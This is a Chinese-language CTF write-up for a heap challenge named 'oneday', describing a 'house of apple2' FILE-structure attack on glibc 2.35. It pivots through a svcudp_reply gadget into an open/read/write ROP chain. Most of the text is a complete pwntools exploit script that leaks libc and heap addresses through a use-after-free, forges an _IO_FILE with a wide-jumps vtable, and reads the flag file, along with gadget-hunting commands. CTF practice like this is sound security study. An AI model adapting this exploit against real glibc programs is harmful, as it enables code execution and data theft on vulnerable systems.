手法

在apple2前提下,将chunkB调用函数填充为svcudp_replay+26,再调试定位leave retorw该写的位置。

例子

题目地址:oneday 提取码: Ya0a

漏洞

  • UAF
  • 只有一次show和edit

ROPgadget --binary ~/ctf/tools/glibcallinone/libs/2.34-0ubuntu3_amd64/libc.so.6 --only 'lea|mov|call' | grep 'rdi, r13' 用这个命令去找magic_gadget
其中有0x000000000016cacd : mov rdi, r13 ; call qword ptr [rax + 0x28],注意是rax+0x28,然后gdb调试具体确认即可。

当然,如果有符号表的话,也可以直接在gdb中找到这段汇编:

<svcudp_reply+26>:  mov  rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28] //magic_gadget

exp

from pwn import *
from pwn import p64,u64,p32,u32,p8
from LibcSearcher import *

context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="amd64")
# io = process(["qemu-aarch64", "-g", "12345","-L","./libc.so.6", "./pwn"])
# io = remote("120.46.59.242",2089)
io = process("./pwn")
elf=ELF("./pwn")
libc=ELF('/ctf/tools/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')

sla = lambda x,y : io.sendlineafter(x,y)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
gd = lambda : gdb.attach(io)
r = lambda : io.recv()
rn = lambda x : io.recv(x)
rl = lambda : io.recvline()
ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x, drop=True)
inter = lambda : io.interactive()
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda tag,addr :log.info('\x1b[01;38;5;214m' + tag + " -------------> " + hex(addr) + '\x1b[0m')

def get_addr() :
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(libc_base) :
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def add(idx):
io.sendlineafter("command:","1")
io.sendlineafter(b"choise: ",str(idx))
def free(idx):
io.sendlineafter("command:","2")
io.sendlineafter(b"Index: ",str(idx))
def edit(idx,c):
io.sendlineafter("command:","3")
io.sendlineafter(b"Index: ",str(idx))
io.sendafter("Message: ",c)
def show(idx):
sla(b"command:", "4")
sla(b"Index: ", str(idx))

def pwn():
pause()
sla(b"key >>", str(8))
add(2) #0
add(1) #1
add(1) #2
add(1) #3

free(0)
free(2)

show(0)
libc_base = get_addr() - 0x219ce0
leak("libc_base", libc_base)
rn(2)
heap_base = u64(rn(6).ljust(8, b"\x00")) - 0x13c0
leak("heap_base", heap_base)

magic = libc_base + 0x16a1fa
'''
0x7fc3449ea1fa <svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
0x7fc3449ea1fe <svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
0x7fc3449ea202 <svcudp_reply+34>: lea r13,[rbp+0x10]
0x7fc3449ea206 <svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
0x7fc3449ea20d <svcudp_reply+45>: mov rdi,r13
0x7fc3449ea210 <svcudp_reply+48>: call QWORD PTR [rax+0x28]
'''
prdi = 0x000000000002a3e5 + libc_base
prsi = 0x000000000002be51 + libc_base
prdx_r12 = 0x000000000011f497 + libc_base
fake_io_addr = heap_base + 0x290
io_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
leave_ret = 0x00000000000562ec + libc_base

add(1) #4
free(2)

orw_addr = fake_io_addr+ 0xe0 + 0xe8 + 0x70
flag_addr = fake_io_addr + 0x600
orw = b"./flag\x00\x00"
orw += p64(prdx_r12) + p64(0) + p64(fake_io_addr-0x10)
orw += p64(prdi) + p64(orw_addr)
orw += p64(prsi) + p64(0)
orw += p64(libc.sym["open"] + libc_base)

orw += p64(prdi) + p64(3)
orw += p64(prsi) + p64(orw_addr+0x100)
orw += p64(prdx_r12) + p64(0x100) + p64(0)
orw += p64(libc.sym["read"]+ libc_base)

orw += p64(prdi) + p64(1)
orw += p64(prsi) + p64(orw_addr+0x100)
orw += p64(prdx_r12) + p64(0x100) + p64(0)
orw += p64(libc.sym["write"] + libc_base)

# 构造apple2
lock = libc_base + 0x21ba60
payload = p64(0) + p64(leave_ret) + p64(0) + p64(libc_base + libc.sym['_IO_list_all'] - 0x20)
payload = payload.ljust(0x38, b"\x00") + p64(orw_addr)
payload = payload.ljust(0x90, b"\x00") + p64(fake_io_addr + 0x10 + 0xd0)
payload = payload.ljust(0xc8, b"\x00") + p64(io_wfile_jumps)
payload = payload.ljust(0xd0 + 0xe0, b'\x00') + p64(fake_io_addr + 0xe0 + 0xe8)
payload = payload.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(magic)
payload += orw
edit(0, payload.ljust(0x880, b"\x00"))
add(3) #5
pause()
add(1) #6
pause()
io.sendlineafter("enter your command: \n", b'5')
inter()

if __name__ == "__main__":
pwn()
# my()


# 0x00000000000ea3e3: mov rdx, qword ptr [rdi + 0x18]; mov qword ptr [rdi + 0x18], rdx; ret;
# 0x000000000005a170: mov rsp, rdx; ret;
# 0x000000000008821d: jmp rsp;